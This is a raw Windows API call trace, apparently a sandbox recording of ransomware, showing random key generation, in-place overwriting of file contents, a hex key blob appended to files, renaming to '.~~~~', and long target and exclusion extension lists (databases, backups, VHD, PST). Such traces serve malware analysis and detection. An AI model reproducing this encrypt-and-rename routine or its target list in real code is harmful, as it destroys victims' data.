	[0142.429] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.430] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.430] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.430] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26242012305) returned 1
	[0142.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe4ca4b0, dwHighDateTime=0x1d60e1e)) 
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac80
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac80 | out: hHeap=0x300000) returned 1
	[0142.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a94b0
	[0142.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c68d8
	[0142.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a94b0 | out: hHeap=0x300000) returned 1
	[0142.431] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.431] GetLastError () returned 0x0
	[0142.431] GetLastError () returned 0x0
	[0142.431] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.431] GetLastError () returned 0x0
	[0142.431] GetLastError () returned 0x0
	[0142.432] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x4be9, lpOverlapped=0x0) returned 1
	[0142.434] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffb417, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.434] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4be9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x4be9, lpOverlapped=0x0) returned 1
	[0142.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.434] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.434] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.434] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.434] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.434] CloseHandle (hObject=0x104) returned 1
	[0142.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a94b0
	[0142.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif.~~~~")) returned 1
	[0142.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a94b0 | out: hHeap=0x300000) returned 1
	[0142.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.436] GetLastError () returned 0x0
	[0142.437] RtlWakeConditionVariable () returned 0x0
	[0142.437] GetCurrentThreadId () returned 0x9cc
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".scr") returned 0x0
	[0142.437] lstrlenW (lpString=".cmd") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".cmd") returned 0x0
	[0142.437] lstrlenW (lpString=".dll") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dll") returned 0x0
	[0142.437] lstrlenW (lpString=".bat") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".bat") returned 0x0
	[0142.437] lstrlenW (lpString=".cpl") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".cpl") returned 0x0
	[0142.437] lstrlenW (lpString=".sys") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".sys") returned 0x0
	[0142.437] lstrlenW (lpString=".msc") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".msc") returned 0x0
	[0142.437] lstrlenW (lpString=".com") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".com") returned 0x0
	[0142.437] lstrlenW (lpString=".lnk") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".lnk") returned 0x0
	[0142.437] lstrlenW (lpString=".msp") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".msp") returned 0x0
	[0142.437] lstrlenW (lpString=".pif") returned 4
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".pif") returned 0x0
	[0142.437] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.439] lstrlenW (lpString=".sqb") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".sqb") returned 0x0
	[0142.439] lstrlenW (lpString=".ost") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".ost") returned 0x0
	[0142.439] lstrlenW (lpString=".txt") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".txt") returned 0x0
	[0142.439] lstrlenW (lpString=".mdt") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".mdt") returned 0x0
	[0142.439] lstrlenW (lpString=".BDB") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".BDB") returned 0x0
	[0142.439] lstrlenW (lpString=".eql") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".eql") returned 0x0
	[0142.439] lstrlenW (lpString=".DBF") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DBF") returned 0x0
	[0142.439] lstrlenW (lpString=".EQL") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".EQL") returned 0x0
	[0142.439] lstrlenW (lpString=".FDB") returned 4
	[0142.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".FDB") returned 0x0
	[0142.440] lstrlenW (lpString=".EDB") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".EDB") returned 0x0
	[0142.440] lstrlenW (lpString=".DACPAC") returned 7
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.440] lstrlenW (lpString=".VHD") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".VHD") returned 0x0
	[0142.440] lstrlenW (lpString=".DBV") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DBV") returned 0x0
	[0142.440] lstrlenW (lpString=".dacpac") returned 7
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.440] lstrlenW (lpString=".sdf") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".sdf") returned 0x0
	[0142.440] lstrlenW (lpString=".accdb") returned 6
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".accdb") returned 0x0
	[0142.440] lstrlenW (lpString=".DBX") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DBX") returned 0x0
	[0142.440] lstrlenW (lpString=".MDT") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".MDT") returned 0x0
	[0142.440] lstrlenW (lpString=".SQB") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".SQB") returned 0x0
	[0142.440] lstrlenW (lpString=".vhd") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".vhd") returned 0x0
	[0142.440] lstrlenW (lpString=".bac") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".bac") returned 0x0
	[0142.440] lstrlenW (lpString=".mdf") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".mdf") returned 0x0
	[0142.440] lstrlenW (lpString=".BAK") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".BAK") returned 0x0
	[0142.440] lstrlenW (lpString=".BAC") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".BAC") returned 0x0
	[0142.440] lstrlenW (lpString=".dbs") returned 4
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dbs") returned 0x0
	[0142.440] lstrlenW (lpString=".vhdx") returned 5
	[0142.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.441] lstrlenW (lpString=".NDF") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".NDF") returned 0x0
	[0142.441] lstrlenW (lpString=".dat") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dat") returned 0x0
	[0142.441] lstrlenW (lpString=".DBS") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DBS") returned 0x0
	[0142.441] lstrlenW (lpString=".CKP") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".CKP") returned 0x0
	[0142.441] lstrlenW (lpString=".edb") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".edb") returned 0x0
	[0142.441] lstrlenW (lpString=".PST") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".PST") returned 0x0
	[0142.441] lstrlenW (lpString=".dbf") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dbf") returned 0x0
	[0142.441] lstrlenW (lpString=".SQL") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".SQL") returned 0x0
	[0142.441] lstrlenW (lpString=".pst") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".pst") returned 0x0
	[0142.441] lstrlenW (lpString=".dbv") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dbv") returned 0x0
	[0142.441] lstrlenW (lpString=".SDF") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".SDF") returned 0x0
	[0142.441] lstrlenW (lpString=".dtxs") returned 5
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.441] lstrlenW (lpString=".db3") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".db3") returned 0x0
	[0142.441] lstrlenW (lpString=".OST") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".OST") returned 0x0
	[0142.441] lstrlenW (lpString=".dbx") returned 4
	[0142.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dbx") returned 0x0
	[0142.441] lstrlenW (lpString=".DB3") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DB3") returned 0x0
	[0142.442] lstrlenW (lpString=".DAT") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DAT") returned 0x0
	[0142.442] lstrlenW (lpString=".VHDX") returned 5
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.442] lstrlenW (lpString=".ndf") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".ndf") returned 0x0
	[0142.442] lstrlenW (lpString=".DB") returned 3
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DB") returned 0x0
	[0142.442] lstrlenW (lpString=".sql") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".sql") returned 0x0
	[0142.442] lstrlenW (lpString=".MYD") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".MYD") returned 0x0
	[0142.442] lstrlenW (lpString=".DBT") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DBT") returned 0x0
	[0142.442] lstrlenW (lpString=".ACCDB") returned 6
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.442] lstrlenW (lpString=".fdb") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".fdb") returned 0x0
	[0142.442] lstrlenW (lpString=".bak") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".bak") returned 0x0
	[0142.442] lstrlenW (lpString=".myd") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".myd") returned 0x0
	[0142.442] lstrlenW (lpString=".DTXS") returned 5
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.442] lstrlenW (lpString=".ckp") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".ckp") returned 0x0
	[0142.442] lstrlenW (lpString=".dbt") returned 4
	[0142.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".dbt") returned 0x0
	[0142.443] lstrlenW (lpString=".db") returned 3
	[0142.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".db") returned 0x0
	[0142.443] lstrlenW (lpString=".TXT") returned 4
	[0142.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".TXT") returned 0x0
	[0142.443] lstrlenW (lpString=".MDF") returned 4
	[0142.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".MDF") returned 0x0
	[0142.443] lstrlenW (lpString=".bdb") returned 4
	[0142.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".bdb") returned 0x0
	[0142.443] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.443] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.444] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.444] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.444] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26243425804) returned 1
	[0142.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe4f0610, dwHighDateTime=0x1d60e1e)) 
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faba0
	[0142.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faba0 | out: hHeap=0x300000) returned 1
	[0142.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9948
	[0142.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c68d8
	[0142.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9948 | out: hHeap=0x300000) returned 1
	[0142.445] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.445] GetLastError () returned 0x0
	[0142.445] GetLastError () returned 0x0
	[0142.445] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.445] GetLastError () returned 0x0
	[0142.446] GetLastError () returned 0x0
	[0142.446] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xc11, lpOverlapped=0x0) returned 1
	[0142.447] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff3ef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.447] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xc11, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xc11, lpOverlapped=0x0) returned 1
	[0142.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.448] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.448] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
